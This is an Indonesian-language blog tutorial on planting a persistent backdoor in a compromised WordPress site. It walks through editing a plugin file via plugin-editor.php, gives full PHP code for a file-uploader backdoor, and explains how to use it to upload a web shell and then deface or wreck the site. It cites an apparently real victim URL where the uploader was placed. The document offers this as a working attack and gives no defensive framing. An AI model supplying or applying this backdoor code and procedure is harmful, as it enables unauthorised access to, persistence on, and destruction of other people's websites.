Cara Mudah Upload Shell Via Wordpress Plugins

Kali ini saya akan share tutorial mudah untuk mengupload backdoor lewat pligins wordpress. Biasanya, kita lebih suka mengupload shell lewat edit theme. Namun kadang backdoor juga cepat hilang jika webmasternya segera menginstall ulang tema. Hal ini yang kadang tidak dilakukan di plugins. Sehingga backdoor kita tetap awet. =))

Oke, pertama, saya sumsikan sobat sudah amsuk ke dashboard WPnya. Terserah mau pake teknik apa. :)

lalu klik Plugins

Atau untuk lebih cepat, klik www.site.com/wp-admin/plugin-editor.php

Lalu pilih salah satu plugins yang akan diedit.

Setelah itu, masukkan script uploader berikut :


><br /><br /><title>Nabilaholic Uploader</title><br /><br /><?php<br />echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><br /><br /><br /> <br /><br /><br /><br /><br /><br />';<br /><br />echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form><br />';<br /><br />if( $_POST['_upl'] == "Upload" ) {<br /><br />if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Uploaded by Nabilaholic</b><br /><br /><br /><br />'; }<br /><br />else { echo '<b>jancok ! Upload gagal !</b><br /><br /><br /><br />'; }<br /><br />}<br /><br />?><br /><br /></html>


Untuk lebih jelasnya, lihat SS :

lalu, update file.

Sekarang cara mengaksesnya adalah :

www.situs.com/wp-content/plugins/namapugins/namaplugis.php



Karena saya tadi mengedit plugins wp-cumulus , maka menjadi :

http://pascalmore.me/wp-content/plugins/wp-cumulus/wp-cumulus.php

Sip, ada uploader disana. Sekarang kiat upload shell kita =))

Letak shell ada di /wp-content/plugins/namaplugins/namashell.php

Sekarang terserah mau diapain. mau dideface silahkan. Mau diobrak abrik silahkan. :v



Sekian tutorial kali ini, semoga bermanfaat =))



Refrensi